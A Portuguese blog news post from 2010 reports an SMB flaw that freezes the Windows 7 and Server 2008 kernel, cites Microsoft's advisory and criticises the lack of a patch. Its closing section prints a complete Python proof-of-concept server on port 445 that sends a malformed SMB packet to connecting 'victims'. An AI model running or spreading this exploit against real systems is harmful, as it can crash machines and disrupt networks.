[Notícia] Falha de segurança no protocolo SMB afeta o Windows 7/Server 2008
por
em 17-01-2010 às 12:37 (6634 Visualizações)
Já não bastando o ótimo exemplo da Apple, agora é a vez da Microsoft.
No dia 11 de Novebro de 2009, Laurent Gaffié demonstrou uma forma de atacar o Windows 7/Server 2008 através de uma falha do protocolo SMB. Para quem não sabe o protocolo SMB é utilizado em compartilhamentos de arquivos, impressoras e portas seriais, ou seja, existente em qualquer rede.
O ataque consiste no envio de um cabeçalho NetBIOS inconsistente. Basta enviar um cabeçalho informando que o pacote é 4 Bytes menor/maior que o tamanho real. Esse simples cabeçalho cria um loop infinito e causa um crash no kernell do Windows, o sistema operacional simplesmente congela, sem mensagens de erro, sem Tela Azul da Morte (BSOD), nada!! Ele simplesmente congela!!
Algumas pessoas disseram que basta criar regras de firewall para evitar receber pacotes SMB de origens desconhecidas. Foi provado também que isto não é o suficiente pois é possível que essa falha seja ser explorada com um link na internet. Ao clicar no link para "file://..." o "alvo" solicita uma conexão com o servidor que irá atacá-lo, dessa forma uma regra de firewall se torna inútil!
Para quem não está acreditando, ai vai um vídeo:
A Microsoft já discutiu o assunto no "Microsoft Security Advisory (977544)", lá é possível encontrar diversas informações como todas as versões do Windows que são afetados.
A parte mais legal é que o Blog Microsoft Security Response Center (MSRC), responsável por investigar e informar a todos acerca das falhas de segurança existentes no Windows, anunciou no dia 07 de Janeiro de 2010 que não irão corrigir essa falha no "pacote de correções" desse mês. Mais uma vez o cliente Microsoft fica na mão e tem que viver com o medo de um ataque iminente.
O ataque no vídeo utiliza o código abaixo para explorar a falha:
É isso ai pessoal, eu não deixo meu Linux por nada que existe por aí hoje em dia... E você, quer testar o linux?! Saiba que será sempre bem vindo!Código :import SocketServer as a packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a.. "\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41" "\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00" "\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01" "\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20" "\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e" "\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a") class x(a.BaseRequestHandler): def handle(s): print \\"You connecting to me: %s\\"%(s.client_address[0]) i = s.request.recv(1024) s.request.send(packet) s.request.close() print \\"Waiting for the victim to connect to my open port 445\\" launch = a.TCPServer(('', 445),x) launch.serve_forever()
Até mais...
Comentários
+ Enviar Comentário